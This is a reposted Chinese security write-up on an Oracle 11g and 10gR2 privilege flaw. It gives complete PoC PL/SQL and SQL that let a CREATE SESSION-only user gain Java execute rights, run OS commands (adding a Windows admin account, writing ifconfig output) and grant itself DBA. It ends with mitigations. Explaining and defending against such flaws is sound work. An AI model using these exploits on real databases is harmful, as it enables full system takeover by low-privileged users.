oracle攻防科普文:渗透oracle11g

  • A+
所属分类:安全文章

关于oracle攻防方面的文档很少,算是科普一下,再次拿出来分享,也给自己攒点积分好能看别人发的帖子oracle攻防科普文:渗透oracle11g

一. 漏洞概要


漏洞描述:
Oracle11g自身权限配置的缺陷,导致只拥有CREATE SESSION权限的用户能够完全控制整个系统。
受影响版本:
Oracle Database 11.1.0.7.0以及更低版本

二. 原理分析


2.1 获取Java执行权限
在oracle当中,可以利用java访问系统文件、执行命令以及创建socket。而java权限的信息被保存在JAVA$POLICY$表中,如图所示

oracle攻防科普文:渗透oracle11g


JAVA$POLICY$表下有一个视图DBA_JAVA_POLICY,实际上所有用户的java权限都在此视图当中。

oracle攻防科普文:渗透oracle11g


要利用java去干我们想要做的事情,首先需要获取java权限。默认PUBLIC账户仅拥有CREATE SESSION的权限。但是ORACLE在Java权限处理上存在一个缺陷,默认Oracle下有一个DBMS_JVM_EXP_PERMS包,利用它我 们可以获得对任意文件执行java的权限。DBMS_JVM_EXP_PERMS包其实是用来在不同的Oracle数据库服务器之间导入导出java权限 为的是方便部署以及升级java应用程序。
默认DBMS_JVM_EXP_PERMS包的属主是SYS,但是它对PUBLIC有执行权限。DBMS_JVM_EXP_PERMS包含一个存储过程 IMPORT_JVM_PERMS,利用此存储过程我们可以将自定义的policy添加到JAVA$POLICY$表当中,比如我们自定义策略SELECT 'GRANT','GENXOR','SYS','java.io.FilePermission','<<ALL FILES>>','execute','ENABLED' FROM DUAL,然后执行IMPORT_JVM_PERMS将自定义策略添加到JAVA$POLICY$中,这样账户GENXOR便拥有了所有文件的java执 行权限,这样随便找一个带有Runtime.getRuntime().exec()的class便能够执行任意系统命令了,这一点后面详细说明。例如:

DECLARE
POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY;
CURSOR C1 IS SELECT
'GRANT','GENXOR','SYS','java.io.FilePermission',
'<<ALL FILES>>','execute','ENABLED' FROM DUAL;
BEGIN
OPEN C1;
FETCH C1 BULK COLLECT INTO POL;
CLOSE C1;
DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL);
END;
/

如果我们创建的oracle用户有CREATE PROCEDURE权限,便可以创建java class源以及PL/SQL包程序执行任意系统命令,但是现实总是残酷的,我们没有CREATE PROCEDURE权限。因为无法自定义java源,所以只能去寻找oracle中现存的class文件,通过反复查找发现在oracle/aurora /util中存在一个Wrapper.class文件,分析其代码发现存在Runtime.getRuntime().exec(),如图所示:

oracle攻防科普文:渗透oracle11g


Oracle对PUBLIC还真是仁慈,在ORACLE中还存在一个DBMS_JAVA包,属主也是SYS,而且默认也PUBLIC有执行权限。这里调用 DBMS_JAVA.RUNJAVA函数并配合上面获得的任意文件执行java的权限执行Wrapper.class,便可以完美执行系统命令。例如:
SELECT DBMS_JAVA.RUNJAVA('oracle/aurora/util/Wrapper c:\windows\system32\cmd.exe /c net user admin password /add') FROM DUAL;

2.2 获取DBA权限
在DBMS_JAVA包中有一个SET_OUTPUT_TO_JAVA函数,描述如下所示:

oracle攻防科普文:渗透oracle11g


这里我们关心的是最后面的INITIALIZATION_STATEMENT和FINALIZATION_STATEMENT这两个参数,这里可以将我们 的要执行的sql语句插入到这两个参数当中。此函数允许用户将System.out和System.err的java输出从定向到一个新的 session,当session创建时我们的sql代码也就执行了。如果我们能找到一个SYS权限的包并将输出写入到System.out和 System.err中,这样新创建的session便是sys权限的,我们插入的sql代码也是以SYS权限执行的。
很幸运,在Oracle确实存在这样的package,DBMS_CDC_ISUBSCRIBE是一个属主为SYS,并且PUBLIC可以执行的包程序,此package包含一个存储过程INT_PURGE_WINDOW,如图所示:

oracle攻防科普文:渗透oracle11g


可以看到INT_PURGE_WINDOW有两个参数,SUBSCRIPTION_NAME和SUBSCRIPTION_NAME,这里我们传入一个无效 的SUBSCRIPTION_NAME强制产生错误并写入到System.err,此时会创建一个新的session并且是SYS权限,与此同时我们插入 的SQL代码也以SYS权限执行了。例如:

SELECT DBMS_JAVA.SET_OUTPUT_TO_JAVA('ID','oracle/aurora/rdbms/DbmsJava','SYS','writeOutputToFile','TEXT', NULL, NULL, NULL, NULL,0,1,1,1,1,0,'DECLARE PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE ''GRANT DBA TO GENXOR''; END;', 'BEGIN NULL; END;') FROM DUAL;
/
EXEC DBMS_CDC_ISUBSCRIBE.INT_PURGE_WINDOW('NO_SUCH_SUBSCRIPTION',SYSDATE());


三. 技术验证


3.1 获取Java执行权限

先给出POC:

DECLARE
POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY;
CURSOR C1 IS SELECT
'GRANT','GENXOR','SYS','java.io.FilePermission',
'<<ALL FILES>>','execute','ENABLED' FROM DUAL;
BEGIN
OPEN C1;
FETCH C1 BULK COLLECT INTO POL;
CLOSE C1;
DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL);
END;
/
SELECT DBMS_JAVA.RUNJAVA('oracle/aurora/util/Wrapper c:\windows\system32\cmd.exe /c net user admin password /add') FROM DUAL;

这里在Windows Server 2003上安装Oracle 11.1.0.6.0,然后创建一个genxor用户并只授予CREATE SESSION权限,


oracle攻防科普文:渗透oracle11g


下面执行脚本,如图所示

oracle攻防科普文:渗透oracle11g


这里去JAVA$POLICY$表当中看一下,已经给GENXOR用户授予权限,

oracle攻防科普文:渗透oracle11g


同时admin账户也添加成功,如图所示:

oracle攻防科普文:渗透oracle11g


此处可以用DBMS_JAVA_TEST.FUNCALL替换DBMS_JAVA.RUNJAVA执行,代码如下:
SELECT DBMS_JAVA.RUNJAVA('oracle/aurora/util/Wrapper c:\windows\system32\cmd.exe /c net user admin /add') FROM DUAL;

在Oracle 10gR2当中,DBMS_JVM_EXP_PERMS包也存在此缺陷,利用方法大同小异。不同的是要执行java文件还需要拥有 writeFileDescriptor和readFileDescriptor的权限,并且在Oracle 10gR2的DBMS_JAVA包中没有RUNJAVA函数,这里只能调用DBMS_JAVA_TEST.FUNCALL函数。PoC如下:

DECLARE
POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY;
CURSOR C1 IS SELECT 'GRANT',USER(),'SYS','java.io.FilePermission','<<ALL FILES>>','execute','ENABLED' FROM DUAL;
BEGIN
OPEN C1;
FETCH C1 BULK COLLECT INTO POL;
CLOSE C1;
DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL);
END;
/
DECLARE
POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY;
CURSOR C1 IS SELECT 'GRANT',USER(),'SYS','java.lang.RuntimePermission','writeFileDescriptor',NULL,'ENABLED' FROM DUAL;
BEGIN
OPEN C1;
FETCH C1 BULK COLLECT INTO POL;
CLOSE C1;
DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL);
END;
/
DECLARE
POL DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY;
CURSOR C1 IS SELECT 'GRANT',USER(),'SYS','java.lang.RuntimePermission','readFileDescriptor',NULL,'ENABLED' FROM DUAL;
BEGIN
OPEN C1;
FETCH C1 BULK COLLECT INTO POL;
CLOSE C1;
DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL);
END;
/
SELECT DBMS_JAVA_TEST.FUNCALL('oracle/aurora/util/Wrapper','main','/bin/bash','-c','/sbin/ifconfig>/tmp/a.txt') FROM DUAL;


执行结果如下所示:


oracle攻防科普文:渗透oracle11g


oracle攻防科普文:渗透oracle11g

3.2 获取DBA

先给出POC:

SELECT DBMS_JAVA.SET_OUTPUT_TO_JAVA('ID','oracle/aurora/rdbms/DbmsJava','SYS','writeOutputToFile','TEXT', NULL, NULL, NULL, NULL,0,1,1,1,1,0,'DECLARE PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE ''GRANT DBA TO GENXOR''; END;', 'BEGIN NULL; END;') FROM DUAL;
/
EXEC DBMS_CDC_ISUBSCRIBE.INT_PURGE_WINDOW('NO_SUCH_SUBSCRIPTION',SYSDATE());

执行结果如下:


oracle攻防科普文:渗透oracle11g


oracle攻防科普文:渗透oracle11g


下面可以进一步授予javasyspriv角色,创建java源,存储过程……….

oracle攻防科普文:渗透oracle11g

四. 总结


4.1 漏洞小结
问题的根源在于ORACLE默认把DBMS_JVM_EXP_PERMS、DBMS_JAVA以及DBMS_JAVA_TEST等危险package的执 行权限直接授予了PUBLIC,导致只要拥有CREATE SESSION权限,便能执行java程序,进而控制整个系统。
4.2 防护方案
0x01、如果不需要用java,可以将JVM从oracle中移除。要删除java可以执行%ORACLE_HOME%javavminstall目录中的rmjvm.sql脚本。

0x02、回收PUBLIC用户的DBMS_JVM_EXP_PERMS、DBMS_JAVA以及DBMS_JAVA_TEST执行权限。


原文地址:https://www.t00ls.net/thread-23608-1-3.html

本文始发于微信公众号(T00ls):oracle攻防科普文:渗透oracle11g

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: